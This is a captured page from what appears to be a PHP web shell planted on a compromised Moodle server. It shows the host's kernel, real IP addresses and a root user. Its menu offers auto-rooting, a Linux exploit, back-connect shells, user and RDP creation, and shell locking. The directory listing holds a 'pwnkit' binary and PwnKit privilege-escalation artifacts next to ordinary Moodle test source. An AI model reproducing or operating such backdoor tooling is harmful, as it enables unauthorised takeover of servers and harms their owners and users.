Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle.backup.39 /
lib /
behat /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
behat_command.php
8.64
KB
-rw-rw-r--
behat_config_manager.php
17.3
KB
-rw-rw-r--
behat_config_util.php
48.96
KB
-rw-rw-r--
behat_context_helper.php
4.01
KB
-rw-rw-r--
behat_selectors.php
3.72
KB
-rw-rw-r--
exact_named_selector.php
2.47
KB
-rw-rw-r--
partial_named_selector.php
9.94
KB
-rw-rw-r--
pwnkit
10.99
KB
-rwxr-xr-x
util.php
12.4
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : behat_selectors.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Moodle-specific selectors. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ require_once(__DIR__ . '/exact_named_selector.php'); require_once(__DIR__ . '/partial_named_selector.php'); use Behat\Mink\Exception\ExpectationException as ExpectationException; /** * Moodle selectors manager. * * @package core * @category test * @copyright 2013 David Monllaó * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class behat_selectors { /** * Returns the behat selector and locator for a given moodle selector and locator * * @param string $selectortype The moodle selector type, which includes moodle selectors * @param string $element The locator we look for in that kind of selector * @param Session $session The Mink opened session * @return array Contains the selector and the locator expected by Mink. */ public static function get_behat_selector($selectortype, $element, Behat\Mink\Session $session) { // CSS and XPath selectors locator is one single argument. if ($selectortype == 'css_element' || $selectortype == 'xpath_element') { $selector = str_replace('_element', '', $selectortype); $locator = $element; } else { // Named selectors uses arrays as locators including the type of named selector. $allowedselectors = self::get_allowed_selectors(); if (!isset($allowedselectors[$selectortype])) { throw new ExpectationException('The "' . $selectortype . '" selector not registered.', $session); } $locator = array($allowedselectors[$selectortype], behat_context_helper::escape($element)); // Get the selector which should be used. $allowedpartialselectors = behat_partial_named_selector::get_allowed_selectors(); $allowedexactselectors = behat_exact_named_selector::get_allowed_selectors(); if (isset($allowedpartialselectors[$selectortype])) { $selector = 'named_partial'; } else if (isset($allowedexactselectors[$selectortype])) { $selector = 'named_exact'; } else { throw new ExpectationException('The "' . $selectortype . '" selector not registered.', $session); } } return array($selector, $locator); } /** * Allowed selectors getter. * * @return array */ public static function get_allowed_selectors() { return array_merge( behat_partial_named_selector::get_allowed_selectors(), behat_exact_named_selector::get_allowed_selectors() ); } /** * Allowed text selectors getter. * * @return array */ public static function get_allowed_text_selectors() { return array_merge( behat_partial_named_selector::get_allowed_text_selectors(), behat_exact_named_selector::get_allowed_text_selectors() ); } }
Close